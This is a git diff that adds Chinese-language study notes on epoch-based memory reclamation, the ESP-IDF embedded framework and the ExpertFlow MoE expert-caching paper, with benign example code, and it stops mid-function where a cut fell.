limbo | 扫全局 hazard 表 | 等所有线程静默 | `call_rcu` 等 grace period | +| 内存上界 | **无严格上界**(慢线程卡住) | 有界(retired 队列长度可控) | 无界 | 内核可踢线程 | +| 严格 lock-free | **否**(卡住可饿死回收) | 是 | 否 | N/A | +| 典型场景 | 用户态读多写少容器 | 内存敏感、要进度保证 | 手工标注的简单路径 | 内核子系统 | + +Fraser 的权衡很明确:EBR 换掉了 SMR/HP 在**每条边上**的 `memory barrier`,换来**弱一些的进度保证**和**可能的内存滞留**。 + +## 踩过的坑 + +1. **临界区范围划错**:`ebr_enter/leave` 必须包住**所有**可能解引用共享指针的代码;少包一行就是 use-after-free。 + +2. **把 EBR 当成严格 lock-free**:论文坦诚——临界区内被抢占的线程会阻止 epoch 前进,limbo 涨满后**全员** eventually 停住。实时或硬进度需求应换 HP。 + +3. **只准备两个 limbo 桶**:会过早复用仍在读者私有引用里的对象;**三个**是数学上紧的常数,不是随便拍的。 + +4. **与引用计数混用节点**:EBR 管「已从共享结构摘掉」的节点;描述符等短命大块 Fraser 用引用计数——别对同一对象两套方案打架。 + +5. **忘记 memory order**:`global_epoch` 的 publish 与读 `next` 指针的 acquire 必须配对;x86 上「能跑」不代表 ARM 安全。 + +6. **线程爆炸时扫描成本**:`ebr_try_advance` 要扫活跃线程表;线程数上百时,推进 epoch 的摊销成本上升——JPDC 2007 横评里 EBR 在**高线程数**下不如 HP 的场景即源于此。 + +## 在 Fraser & Harris 2007 论文中的位置 + +该 PDF 的重点是证明:**用当今 CPU 都有的 CAS 等原语**,可以搭出实用的非阻塞 skip-list、红黑树,并与高性能锁实现同台竞技。EBR 是「让动态节点真正可分配/释放」的那块拼图: + +- **§1.1** 提到 Michael SMR、Herlihy pass-the-buck 等「延迟释放直到确认无读者」的家族; +- 实现章说明对**应用数据**默认 EBR,对**操作描述符**用引用计数; +- 开源实现曾覆盖 Alpha、IA-32、IA-64、MIPS、PowerPC、SPARC(`http://www.cl.cam.ac.uk/netos/lock-free`)。 + +读 PDF 时可以把 **API 设计**(MCAS/WSTM/OSTM)与 **EBR** 分开学:前者教「怎么无锁改多字」;后者教「改完的烂摊子怎么安全 `free`」。 + +## 适用 vs 不适用 + +**适用**: + +- 读多写少的 lock-free 哈希、跳表、队列(用户态) +- 愿用少量内存换读者极致轻量(相对 HP) +- 已有 `crossbeam`、`folly` 等成熟 EBR 库,不想自研 HP 槽位管理 + +**不适用**: + +- 必须证明**严格 lock-free / wait-free** 进度 +- 线程数极大且频繁推进 epoch,扫描成为热点 +- 不能容忍「一个死循环线程拖住全部回收」——用 HP 或带超时的 QSBR +- 有 GC 的运行时——直接用 GC,不必 EBR + +## 历史脉络(简表) + +| 年份 | 里程碑 | +|------|--------| +| 1980 | Kung & Lehman — limbo list 思想 | +| 2002 | Michael — SMR / Hazard Pointer 雏形 | +| 2003 | Fraser 博士论文 — **EBR 系统化**,三桶 + epoch 扫描 | +| 2007 | Fraser & Harris TOCS — 非阻塞 API + EBR 工程验证 | +| 2007 | Hart JPDC — QSBR / EBR / HP **公平横评** | +| 2010s+ | crossbeam-epoch、各语言 lock-free 库广泛采用 | + +## 学到什么 + +1. **延迟释放是 lock-free 的必修课**:无锁只解决「互斥」;**何时 `free`** 是第二战场。EBR 用「时间分片(epoch)」代替「空间登记(hazard slot)」。 + +2. **三个桶不是实现细节,是不变量的一部分**:理解「两桶不够」的并发窗口,才算真懂 EBR。 + +3. **进度保证与性能永远交易**:Fraser 宁可选「非严格 lock-free 的 EBR」也要砍掉 20% 的 SMR barrier 税——说明**读路径热点**往往比形式化进度更重要。 + +4. **和 RCU 同族不同命**:都是 grace period;RCU 绑内核调度,EBR 绑用户态线程表与 probabilistic advance。 + +## 延伸阅读 + +- 期刊论文(本文来源):[Concurrent Programming Without Locks (PDF)](https://www.cl.cam.ac.uk/research/srg/netos/papers/2007-cpwl.pdf) — Fraser & Harris, TOCS 2007 +- 博士论文全文:[Practical lock-freedom (UCAM-CL-TR-579)](https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-579.pdf) — EBR 细节在 §5.2.3 +- 横评:[Performance of memory reclamation for lockless synchronization (JPDC 2007)](https://csng.cs.toronto.edu/publication_files/0000/0159/jpdc07.pdf) +- 实现参考:[crossbeam-epoch 文档](https://docs.rs/crossbeam-epoch/latest/crossbeam_epoch/) + +## 关联 + +- [[hazard-pointers-2004]] — EBR 的主要替代方案;读者有界、严格 lock-free +- [[rcu-mckenney-2017]] — 内核侧 grace period;读侧更轻、与调度器耦合 +- [[michael-scott-queue]] — 经典 lock-free 队列;回收方案常配 EBR 或 HP +- [[jemalloc-evans-2006]] — 另一篇「多线程下别抢同一把锁」的 Cam 系性能工程 + +## 反向链接 + + + +(暂无反向链接) diff --git a/src/content/docs/papers/esp-idf-overview.md b/src/content/docs/papers/esp-idf-overview.md new file mode 100644 index 000000000..4851427d8 --- /dev/null +++ b/src/content/docs/papers/esp-idf-overview.md @@ -0,0 +1,312 @@ +--- +title: ESP-IDF — Espressif IoT Development Framework 零基础学习笔记 +来源: https://docs.espressif.com/projects/esp-idf/en/latest/esp32/ +日期: 2026-06-13 +子分类: 嵌入式与 IoT +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象你要把一间**毛坯房**改造成可远程控制的智能小屋: + +- **ESP32 芯片**是房子本身:有墙(Flash/RAM)、有水电接口(GPIO、SPI、I2C)、自带 Wi-Fi/蓝牙天线。 +- **Arduino 草图式写法**像买成品家具自己拧螺丝——快,但全屋定制到 50 个房间时很难维护。 +- **ESP-IDF** 则是乐鑫官方的**装修总承包 + 建材超市**:FreeRTOS 管排班(多任务),Wi-Fi/BLE 协议栈是预制管线,驱动是标准插座,CMake 是施工图,`idf.py` 是工地监理一键「量房 → 施工 → 验收 → 通电试机」。 + +你写的业务逻辑放在 `app_main()` 里,像「业主入住后怎么按开关」;其余水电煤(TCP/IP、TLS、OTA、电源管理)从组件货架上勾选即可。官方文档入口:[ESP-IDF Programming Guide](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/)。 + +## 这篇框架在说什么 + +| 维度 | 内容 | +|------|------| +| 项目 | ESP-IDF — Espressif 官方 IoT 软件开发框架 | +| 语言 | C / C++(应用层以 C 为主) | +| 目标芯片 | ESP32、ESP32-S2/S3/C2/C3/C6/H2/H4、ESP32-P4 等系列 SoC | +| 内核 | FreeRTOS(多核芯片为 IDF 定制 SMP 版,基于 Vanilla FreeRTOS 10.5.1) | +| 构建 | CMake + Ninja,前端工具 `idf.py` | +| 配置 | Kconfig → 项目根目录 `sdkconfig`(`idf.py menuconfig`) | +| 烧录/调试 | esptool.py 烧录,`idf.py monitor` 串口监视 | +| 组件生态 | 内置 100+ 官方组件 + [ESP Component Registry](https://components.espressif.com/) | + +ESP-IDF 不是「一个头文件库」,而是一套**可裁剪的嵌入式发行版**:同一套 API 覆盖从灯泡固件到带屏工业网关;数百万量产设备跑在同一框架上,文档同时覆盖「怎么用」和「为什么这么设计」。 + +## 为什么值得学 + +| 场景 | ESP-IDF 提供的价值 | +|------|---------------------| +| 产品级 Wi-Fi / BLE / Mesh | 官方协议栈、认证路径、长期维护 | +| 从 Arduino 升级 | 保留硬件经验,获得任务隔离、menuconfig、OTA、分区表 | +| 低功耗传感器节点 | 电源管理 API、Light Sleep / Deep Sleep 与唤醒源配置 | +| 团队工程化 | 组件化、`idf_component.yml` 依赖锁定、CI 可用 CLI 安装(EIM) | +| 面试「嵌入式 IoT」 | `app_main`、组件、sdkconfig、NVS、事件循环是高频考点 | + +若你只需要「点亮 LED + 串口打印」且不关心体积与协议栈,Arduino-ESP32 仍更快;一旦涉及 **TLS、多任务、工厂烧录、安全启动、FOTA**,ESP-IDF 几乎是乐鑫生态的默认答案。 + +## 核心概念一:工程结构(Project / App / Component) + +官方构建指南把概念拆得很清楚: + +``` + my_project/ + ├── CMakeLists.txt # 项目入口,声明 project() + ├── sdkconfig # menuconfig 生成的全局配置(勿手改为主) + ├── main/ + │ ├── CMakeLists.txt # 注册 main 组件 + │ └── app_main.c # 用户入口(不是 main()) + ├── components/ # 可选:项目私有组件 + └── managed_components/ # 组件管理器自动下载的依赖 +``` + +| 术语 | 含义 | +|------|------| +| **Project** | 一个目录 + 一份 `sdkconfig`,产出可烧录固件 | +| **App** | 可执行镜像;通常一次构建产出 **bootloader** + **主应用** | +| **Component** | 编译成静态库 `.a` 再链接进 App 的模块(驱动、协议、业务) | +| **Target** | 芯片型号,如 `esp32`、`esp32s3`;`idf.py set-target` 切换 | +| **ESP-IDF 本体** | 通过环境变量 `IDF_PATH` 指向,**不属于**你的 Git 仓库 | + +类比:Project 是楼盘;Component 是预制墙板;App 是交付的精装单元;`sdkconfig` 是户型勾选表(要不要中央空调 = 要不要 Wi-Fi 企业级功能)。 + +## 核心概念二:启动链与 `app_main` + +与裸机 `main()` 或 Vanilla FreeRTOS 不同: + +- **不要**自己调用 `vTaskStartScheduler()` —— IDF 启动时已完成。 +- **要**实现 `void app_main(void)`,框架在初始化堆、NVS、默认事件循环等之后调用它。 +- `app_main` 可以 `return`(任务结束);更常见的是在里头 `xTaskCreate` 后阻塞或挂起自身。 + +典型启动顺序(简化): + +``` + ROM Bootloader → 二级 Bootloader → 应用入口 + → CPU/时钟/堆初始化 → NVS Flash 初始化 + → 启动 FreeRTOS → 创建系统后台任务 + → 调用 app_main() +``` + +多核 ESP32 上跑的是 **IDF FreeRTOS(SMP)**:任务可固定到 Core 0/1,或默认由调度器分配;单核芯片(如 ESP32-C3)或 `CONFIG_FREERTOS_UNICORE=y` 时行为更接近标准 FreeRTOS。 + +## 核心概念三:`idf.py` 与 menuconfig + +日常开发四条命令记牢: + +```bash +idf.py set-target esp32 # 首次或换芯片时 +idf.py menuconfig # 图形化改 sdkconfig +idf.py build # CMake 配置 + Ninja 编译 +idf.py -p /dev/ttyUSB0 flash monitor # 烧录并打开串口监视 +``` + +`idf.py build` 背后等价于在 `build/` 目录执行 `cmake .. -G Ninja` 再 `ninja`。并行度可用 `IDF_PY_BUILD_JOBS=6 idf.py build` 限制。 + +**menuconfig** 是 Kconfig 的前端:Wi-Fi 缓冲区、日志级别、FreeRTOS Tick、分区表类型、蓝牙模式等上千项开关都落在 `sdkconfig`。团队协作时通常: + +- 把 `sdkconfig.defaults` 提交 Git(团队基线) +- 本地 `sdkconfig` 加入 `.gitignore` 或按产品 flavor 用 `sdkconfig.ci` 等 profile + +## 代码示例一:最小 `app_main`(Hello + 日志) + +ESP-IDF 用 **esp_log** 分级打印,比裸 `printf` 更易过滤: + +```c +#include +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "esp_log.h" + +static const char *TAG = "hello"; + +void app_main(void) +{ + int i = 0; + while (1) { + ESP_LOGI(TAG, "Hello from ESP-IDF! count=%d", i++); + vTaskDelay(pdMS_TO_TICKS(1000)); /* 阻塞 1s,让出 CPU */ + } +} +``` + +要点: + +- `ESP_LOGI` / `ESP_LOGW` / `ESP_LOGE` 配合 `TAG`,在 menuconfig 里可调全局与 per-tag 级别。 +- `pdMS_TO_TICKS(ms)` 把毫秒换成 RTOS tick,避免硬编码 `configTICK_RATE_HZ`。 +- `app_main` 本身运行在一个任务上下文里,栈默认由配置项 `CONFIG_ESP_MAIN_TASK_STACK_SIZE` 决定。 + +## 代码示例二:GPIO 输出 + 组件化 CMake + +**main/CMakeLists.txt**(注册源文件与依赖): + +```cmake +idf_component_register(SRCS "blink_main.c" + INCLUDE_DIRS ".") +``` + +**main/blink_main.c**(经典 Blink,引脚可在 menuconfig 或代码里定义): + +```c +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "driver/gpio.h" +#include "esp_log.h" + +#define BLINK_GPIO CONFIG_BLINK_GPIO /* 来自 Kconfig,或写死 GPIO_NUM_2 */ + +static const char *TAG = "blink"; + +void app_main(void) +{ + gpio_reset_pin(BLINK_GPIO); + gpio_set_direction(BLINK_GPIO, GPIO_MODE_OUTPUT); + + while (1) { + gpio_set_level(BLINK_GPIO, 1); + ESP_LOGI(TAG, "LED on"); + vTaskDelay(pdMS_TO_TICKS(500)); + gpio_set_level(BLINK_GPIO, 0); + ESP_LOGI(TAG, "LED off"); + vTaskDelay(pdMS_TO_TICKS(500)); + } +} +``` + +在 `main/Kconfig.projbuild` 里可添加: + +``` +menu "Example Configuration" + config BLINK_GPIO + int "Blink GPIO number" + range 0 48 + default 2 +endmenu +``` + +这样 `idf.py menuconfig → Example Configuration` 即可改引脚而无需改 C 代码——**Kconfig 管「可配置项」,代码用 `CONFIG_*` 宏读取**,与 Linux 内核习惯一致。 + +## 代码示例三:两任务 + 队列(传感器 → 上报) + +展示 IDF 应用最常见的 FreeRTOS 模式(与 [FreeRTOS 笔记](./freertos-overview.md) 概念对齐): + +```c +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/queue.h" +#include "esp_log.h" + +typedef struct { + int temperature; + int humidity; +} reading_t; + +static QueueHandle_t s_queue; +static const char *TAG = "demo"; + +static void sensor_task(void *arg) +{ + reading_t r = { .temperature = 25, .humidity = 60 }; + for (;;) { + r.temperature++; + xQueueSend(s_queue, &r, portMAX_DELAY); + vTaskDelay(pdMS_TO_TICKS(200)); + } +} + +static void upload_task(void *arg) +{ + reading_t r; + for (;;) { + if (xQueueReceive(s_queue, &r, portMAX_DELAY) == pdTRUE) { + ESP_LOGI(TAG, "upload T=%d H=%d", r.temperature, r.humidity); + } + } +} + +void app_main(void) +{ + s_queue = xQueueCreate(4, sizeof(reading_t)); + xTaskCreate(sensor_task, "sensor", 2048, NULL, 5, NULL); + xTaskCreate(upload_task, "upload", 4096, NULL, 4, NULL); +} +``` + +真实项目里 `upload_task` 会调用 `esp_http_client` 或 MQTT;网络栈初始化通常在 `app_main` 开头调用 `esp_netif_init()`、`esp_event_loop_create_default()` 等(参见官方 `protocol_examples_common`)。 + +## 核心概念四:组件与 Component Manager + +每个组件目录包含 `CMakeLists.txt`,最少调用一次 `idf_component_register()`。项目通过 `REQUIRES` / `PRIV_REQUIRES` 声明依赖,构建系统自动传递头文件路径与链接顺序。 + +**托管依赖**:在组件或 `main` 下放 `idf_component.yml`: + +```yaml +dependencies: + espressif/led_strip: "^2.5.0" +``` + +执行 `idf.py build` 时,Component Manager 把包装进 `managed_components/`,无需手动 `git submodule`。 + +**BSP(Board Support Package)** 是一类特殊组件:把某块 DevKit 的 LED、按键、屏幕、音频 Codec 封装成统一 API,适合教程与快速验证硬件。 + +## 核心概念五:存储、分区与 NVS + +| 机制 | 用途 | +|------|------| +| **分区表** | 定义 Flash 上 bootloader / app / OTA_0 / OTA_1 / spiffs / nvs 等布局 | +| **NVS** | 键值存储(Wi-Fi 凭据、校准数据、用户配置),掉电保留 | +| **SPIFFS / LittleFS / FAT** | 文件语义,日志落盘、资源包 | +| **efuse** | 芯片级一次性配置(安全启动、Flash 加密) | + +产品固件几乎总会 `nvs_flash_init()`;首次擦除或布局变更时要处理 `ESP_ERR_NVS_NO_FREE_PAGES`。 + +## 核心概念六:网络与事件循环 + +ESP-IDF v4.1+ 推荐 **默认事件循环**(`esp_event`)+ **esp_netif** 抽象: + +- Wi-Fi 驱动产生 `WIFI_EVENT` / `IP_EVENT` +- 应用在 `app_main` 里 `esp_event_handler_register` 处理「拿到 IP 后再起 MQTT」 + +这比在回调里写一大坨逻辑更清晰,也便于单元测试时替换 handler。 + +常用协议组件(均带官方示例):HTTP Server/Client、MQTT、mDNS、Modbus、WebSocket、HTTPS OTA。 + +## 与 Arduino-ESP32 怎么选 + +| 维度 | Arduino-ESP32 | ESP-IDF | +|------|---------------|---------| +| 上手曲线 | 低,`setup()`/`loop()` | 中,需理解组件与 menuconfig | +| 抽象层级 | 高 | 中低,贴近寄存器与驱动 | +| 二进制体积 / 可控性 | 粗调 | 细调(关掉未用组件) | +| 官方新特性 | 往往滞后 | 首发 | +| 适合 | 原型、教学、小项目 | 量产、认证、安全启动、复杂连接 | + +许多团队原型用 Arduino,定型后迁到 IDF 或混合使用(Arduino 作为 IDF 组件编译)。 + +## 安装与文档导航(2026 实践) + +乐鑫现推荐 **ESP-IDF Installation Manager(EIM)** 安装工具链 + CMake + Ninja + IDF 本体,支持 GUI 与 CLI(CI 友好)。IDE 侧常见组合: + +- **VS Code + ESP-IDF 扩展**(`idf.py` 图形按钮) +- **Espressif-IDE**(基于 Eclipse CDT) + +文档站内建议零基础阅读顺序: + +1. [Get Started](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/get-started/index.html) — 装环境、跑 `hello_world` +2. [Build System](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-guides/build-system.html) — 搞懂组件 +3. [API Reference](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/index.html) — 按外设/协议查阅 +4. `examples/` 目录 — 每个子目录是可编译的权威样例 + +## 常见坑 + +| 现象 | 可能原因 | 处理 | +|------|----------|------| +| `idf.py` 找不到命令 | 未 `export.sh` / 扩展未配 IDF 路径 | 每终端 `source $IDF_PATH/export.sh` | +| 烧录后不断 Guru Meditation | 栈溢出、看门狗、非法指针 | 增大任务栈;查 `esp_reset_reason` | +| Wi-Fi 连不上 | 分区/NVS 旧数据、国家码、2.4G 信道 | `idf.py erase-flash` 后重烧;查 menuconfig Wi-Fi | +| 换板子 GPIO 不对 | 引脚写死 | Kconfig 或 BSP;查 DevKit 原理图 | +| 组件找不到 | 依赖未写进 `idf_component.yml` 或 `REQUIRES` | 检查 `CMakeLists.txt` | + +## 小结 + +ESP-IDF 把「芯片 + RTOS + 网络 + 驱动 + 构建」收成**一套可配置的产品工厂**:`app_main` 是你的业务入口,`sdkconfig` 是功能开关表,组件是模块货架,`idf.py` 贯穿编译烧录全流程。零基础路径应是 **hello_world → blink/GPIO → menuconfig → 一个官方 example 改参数 → 自己拆 `main` 组件**;遇到 API 细节再查 Reference Manual,遇到任务/队列语义可对照 FreeRTOS 笔记。 + +下一步若要写「能联网的固件」,建议直接 fork 官方 `examples/wifi/getting_started/station` 或 `examples/protocols/http_server/simple`,在拿到 IP 事件后再叠加自己的业务任务。 diff --git a/src/content/docs/papers/expertflow-moe-offload.md b/src/content/docs/papers/expertflow-moe-offload.md new file mode 100644 index 000000000..054007c86 --- /dev/null +++ b/src/content/docs/papers/expertflow-moe-offload.md @@ -0,0 +1,408 @@ +--- +title: ExpertFlow — MoE 预测式专家缓存与 Token 调度(零基础学习笔记) +来源: https://arxiv.org/abs/2410.17954 +日期: 2026-06-13 +子分类: ML 系统 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:专科会诊 vs 临时借书 + +想象你要在一间**只有四张手术台**的小诊所(单卡 GPU,显存有限)里,运行一座**拥有 128 个专科科室**的超大型联合医院(MoE 大模型)。 + +MoE 的聪明之处在于:每个病人(token)每次只去 **Top-K 个科室**会诊——算力上很省。但问题是:**全部科室的设备和档案都要存在某处**。128 个专家 × 32 层,总参数量轻松超过单卡显存(Mixtral-8×7B 约 96 GB,A100 只有 80 GB)。 + +常见做法是 **Offloading(卸载)**:把暂时不用的专家放在 CPU 内存里,需要时再搬到 GPU——像把大部头书放在仓库,用时临时借到阅览室。 + +但这样会遇到三个现实麻烦: + +1. **不知道下一页要借哪本书**:路由(router)决定每个 token 去哪个专家,只有算到那一层才知道——若等算完再搬,GPU 在等 I/O。 +2. **病人排班太散**:两个 batch 各 4 个 token,每人去不同科室,结果**四个科室各只来 1 个病人**——专家 kernel 启动成本固定,利用率极低。 +3. **阅览室书架按「最近用过」腾位(LRU)**:MoE 路由是**输入相关、动态变化**的,LRU 经常猜错,专家在 CPU/GPU 之间来回折腾。 + +**ExpertFlow**(He 等,**DAC 2026**,arXiv:[2410.17954](https://arxiv.org/abs/2410.17954))的做法像给诊所配了三个协同岗位: + +- **Routing Path Predictor (RPP)**:值班秘书提前看完整病历,**一次预测**所有层会激活哪些科室; +- **Token Scheduler (TS)**:把「会去同一组科室」的病人**合并排班**,让每个 batch 少开科室、每个科室多来人; +- **Expert Cache Engine (ECE)**:按预测**预取**专家到 GPU,算错了再**轻量纠错**。 + +论文在单卡 A40 上报告:GPU 峰值显存最高降 **93.72%**,相对强 offloading 基线吞吐最高 **10×**;缓存命中率 **91.96%**,比 LRU 高最多 **61.15%**。 + +一句话:**MoE 单卡推理的关键不是「能不能 offload」,而是「能不能提前知道要 load 谁、怎么排 token、怎么管缓存」。** + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 全称 | ExpertFlow: Efficient Mixture-of-Experts Inference via Predictive Expert Caching and Token Scheduling | +| 会议 | DAC 2026(ACM/IEEE 设计自动化会议) | +| 机构 | A*STAR、港科大、哈工大(深圳)、南洋理工等 | +| 问题域 | **单 GPU / 显存受限**场景下的 MoE **推理** offloading | +| 对比基线 | Cache-MoE(LRU)、SE-MoE(环缓冲)、Pregated-MoE 等 | +| 验证模型 | Switch-32/64/128、Mixtral-8×7B、Qwen1.5-MoE、DeepSeek-MoE | +| 与压缩正交 | 可与量化、剪枝、蒸馏叠加,进一步省显存 | + +ExpertFlow 是**系统层**工作,不改 MoE 模型权重或路由算法本身,而是在 CPU–GPU 异构内存之上做**预测 + 调度 + 缓存**的协同设计。 + +--- + +## 为什么重要 + +### 1. MoE 的「参数墙」与「算力墙」分离 + +Dense 模型:参数量 ≈ 每 token 计算量。MoE:**总参数巨大**,但每 token 只激活一小部分——显存要装下**全部专家**,计算却只跑**少数专家**。单卡部署 Mixtral、Qwen-MoE、DeepSeek-MoE 时,瓶颈往往是**显存装不下**,不是 FLOPs 不够。 + +### 2. 动态路由让传统缓存失效 + +LRU / LFU 按「最近/最常使用」驱逐,**不看输入内容**。MoE 的 expert 激活是 **token × layer 相关**的——同一模型在不同任务上路由模式差异很大。固定「每层分 N 个缓存槽」的策略(如 Cache-MoE)在 batch 变大、专家变多时命中率骤降。 + +### 3. 预测必须「全局、提前、便宜」 + +已有方案的两难: + +| 路线 | 代表 | 问题 | +|------|------|------| +| 回归 router 分数 | Pregated-MoE | 分数误差影响输出质量,需大量微调 | +| 逐层 MLP 预测 | ProMoE | 必须等上一层算完才知道下一层,无法提前 prefetch | +| 启发式统计 | token–expert 频率 | 轻量但捕捉不了输入相关路由 | + +ExpertFlow 的 RPP 用 **T5 式 encoder–decoder**,**一次前向**输出形状 `(B, S, L, E)` 的全局路由概率,模型仅 **7.21 MB**,batch 级准确率可达 **95%** 量级。 + +### 4. 与 PagedAttention / vLLM 的互补关系 + +- **vLLM / PagedAttention**:解决 **KV cache** 的显存碎片与共享(attention 侧)。 +- **ExpertFlow**:解决 **专家权重** 在 CPU/GPU 之间的动态搬运(MoE FFN 侧)。 + +大 MoE serving 要同时管 KV 和 expert——二者正交,可叠加。 + +--- + +## 核心概念 + +### 1. MoE 路由回顾 + +对输入 token 向量 \(x\),router 计算 \(G(x) = \text{softmax}(x W_g)\),选 Top-K 专家,输出为选中专家的加权和: + +\[ +y = \sum_{i \in \text{TopK}(G(x))} G_i(x)\, E_i(x) +\] + +每个 token 的路由路径可编码为二元矩阵 \(r \in \{0,1\}^{L \times E}\):第 \(l\) 层第 \(e\) 个专家若被激活则为 1。 + +### 2. Routing Path Predictor (RPP) + +**架构**:T5 风格 encoder 嵌入整段输入,decoder 挂 **L 个轻量 head**,每层输出 E 维 logits → sigmoid 得概率矩阵 \(p\)。 + +**训练**:从 MoE 推理日志收集 token 的真实路由 \(r\),多标签二分类,损失为逐层逐专家的 **BCE**: + +\[ +\mathcal{L} = \frac{1}{LE}\sum_{l=1}^{L}\sum_{e=1}^{E}\left[r_{l,e}\log p_{l,e} + (1-r_{l,e})\log(1-p_{l,e})\right] +\] + +**关键性质**:在**第一个 MoE 层执行之前**就得到全层路由计划 → 支持 ECE 预取与 TS 重排。 + +**数据**:每个 (任务, 模型) 组合采样 1 万序列 × 3 次解码,得约 3 万条 (输入, 输出, 路由路径) 三元组。 + +### 3. Token Scheduler (TS) + +**动机(最坏情况)**:2 个 batch、每层 4 专家、每 batch 4 token,若每人去不同专家 → **每层 4 个专家各只处理 1 token**,kernel 效率极低且缓存频繁换入换出。 + +**目标**:合并相邻两个 batch 的 \(2T\) 个 token,分成两个等规模新 batch \(\mathcal{T}_1, \mathcal{T}_2\),最小化两 batch 激活专家总数: + +\[ +\min_{\mathcal{T}_1,\mathcal{T}_2}\;\sum_{l=1}^{L}\sum_{e=1}^{E}\big(R_1^{l,e}+R_2^{l,e}\big),\quad R_k = \bigvee_{i\in\mathcal{T}_k} r_i +\] + +**近似算法**:对路由路径算 Hamming 相似度矩阵,用 **K-means 风格**聚成 2 簇,CPU 开销 < 10 ms。 + +**KV 一致性**:重排 token 会破坏原 KV cache 顺序 → TS 提供 **Merge**(按全局顺序重建 KV)和 **Reindex**(更新 token 索引)。 + +**Dual-Batch Pipeline**:每 2 个 batch 为一调度单元;当前单元做 prefill/decode 的同时,**并行**对下一单元跑 RPP + TS,隐藏预测开销。 + +### 4. Expert Cache Engine (ECE) + +由两部分组成: + +#### PLEC(Predictive Locality-aware Expert Caching) + +与 LRU「每层固定槽位、按时间驱逐」不同,PLEC **跨层动态分配**缓存槽,并按 RPP 预测 **prefetch** 下一阶段需要的专家。 + +**例子**(论文 Fig. 5):2 层 × 每层 4 专家,GPU 只能缓存 4 个专家;预测需 5 个 → 按预测需求给 layer-1 分 3 槽、layer-2 分 1 槽,先加载 \(e_{12}, e_{13}, e_{14}, e_{22}\);layer-1 算完后释放槽位,异步加载 \(e_{23}\)。 + +#### Real-time Correction + +预测错误时(多加载了不需要的专家、漏了需要的专家),在**当前专家计算进行时**做**优先级交换**,I/O 与计算 overlap,避免流水线 stall。 + +### 5. 系统流水线总览 + +```text +输入 batches + → [RPP] 一次预测 (B,S,L,E) 路由概率 + → [TS] 跨 batch 重排 token,合并相似路由 + → [ECE] PLEC 预取 + 运行时纠错 + → [MoE] 仅加载所需专家,在 GPU 上执行 + (Dual-Batch:与下一批的 RPP/TS 并行) +``` + +--- + +## 代码示例 1:理解 MoE 路由与路由路径矩阵 + +下面用 PyTorch 风格伪代码说明「一个 token 的路由路径」如何编码——这是 RPP 训练标签和 TS 聚类的共同基础。 + +```python +import torch +import torch.nn.functional as F + +def moe_route_and_encode_path(x, router, num_experts: int, top_k: int): + """ + x: (hidden,) 单个 token 的隐藏状态 + router: Linear(hidden, num_experts) + 返回: top_k 专家索引, 路由权重, 路径矩阵 r ∈ {0,1}^{L×E} 的单层切片 + """ + logits = router(x) # (E,) + probs = F.softmax(logits, dim=-1) + weights, indices = torch.topk(probs, top_k) + + r_layer = torch.zeros(num_experts, dtype=torch.bool) + r_layer[indices] = True # 被激活的专家置 1 + return indices, weights, r_layer + + +def batch_routing_matrix(token_paths: list[torch.Tensor]) -> torch.Tensor: + """ + token_paths: 长度为 T 的列表,每个元素 shape (L, E) + 批级路由 = 所有 token 路径的逻辑 OR(与论文 R_batch 定义一致) + """ + stacked = torch.stack(token_paths, dim=0) # (T, L, E) + return stacked.any(dim=0) # (L, E) + + +# 示例:4 层 MoE,每层 8 专家,2 个 token +L, E, top_k = 4, 8, 2 +paths = [] +for _ in range(2): + layer_paths = [] + for _ in range(L): + fake_router = torch.randn(E) + _, _, r = moe_route_and_encode_path( + torch.randn(512), + lambda x: fake_router, # 简化:直接用随机 logits + E, + top_k, + ) + layer_paths.append(r) + paths.append(torch.stack(layer_paths)) # (L, E) + +R_batch = batch_routing_matrix(paths) +print("本 batch 激活专家数:", R_batch.sum().item()) +``` + +TS 的目标就是:把多个 batch 的 token **重新分组**,使分组后的 `R_batch` 之和更小——更少专家被同时激活。 + +--- + +## 代码示例 2:RPP 训练损失与 TS 的 Hamming 聚类骨架 + +```python +import torch +import torch.nn as nn + +class RoutingPathPredictorLoss(nn.Module): + """论文 Eq.(1):全层全专家 BCE,与 ExpertFlow RPP 训练目标一致""" + + def forward(self, p: torch.Tensor, r: torch.Tensor) -> torch.Tensor: + # p, r: (B, S, L, E),概率 vs 0/1 标签 + eps = 1e-8 + bce = -(r * torch.log(p + eps) + (1 - r) * torch.log(1 - p + eps)) + return bce.mean() # 等价于对 L,E 求平均 + + +def hamming_distance(path_a: torch.Tensor, path_b: torch.Tensor) -> int: + """两个 token 路由路径的 Hamming 距离(展平 L×E 后比较)""" + return (path_a != path_b).sum().item() + + +def schedule_two_batches(token_paths: list[torch.Tensor], max_iter: int = 20): + """ + 简化版 TS:2T 个 token 分成两个等大小 batch,最小化激活专家数。 + token_paths[i]: (L, E) bool + 论文用 K-means 风格迭代;此处用贪心 swap 示意。 + """ + T2 = len(token_paths) + assert T2 % 2 == 0 + half = T2 // 2 + # 初始:前 half / 后 half + assign = [0] * half + [1] * half + + def objective(assignment): + groups = [[], []] + for idx, g in enumerate(assignment): + groups[g].append(token_paths[idx]) + total = 0 + for g in groups: + if not g: + continue + R = torch.stack(g).any(dim=0) + total += R.sum().item() + return total + + best = assign[:] + best_obj = objective(best) + for _ in range(max_iter): + improved = False + for i in range(T2): + for j in range(i + 1, T2): + if assign[i] == assign[j]: + continue + trial = best[:] + trial[i], trial[j] = trial[j], trial[i] + obj = objective(trial) + if obj < best_obj: + best_obj, best = obj, trial + improved = True + if not improved: + break + return best, best_obj + + +# 演示 +L, E = 12, 32 +paths = [torch.rand(L, E) > 0.9 for _ in range(8)] # 稀疏随机路径 +assign, obj = schedule_two_batches(paths) +print("重排后两 batch 总激活专家数:", obj) +``` + +真实系统中 TS 用相似度矩阵 + K-means 近似,保证 **< 10 ms**;并与 **Merge/Reindex** 维护 KV cache 语义正确。 + +--- + +## 代码示例 3:PLEC 缓存槽分配(概念示意) + +```python +from dataclasses import dataclass + +@dataclass +class ExpertSlot: + layer: int + expert_id: int + + +def plec_allocate_slots( + 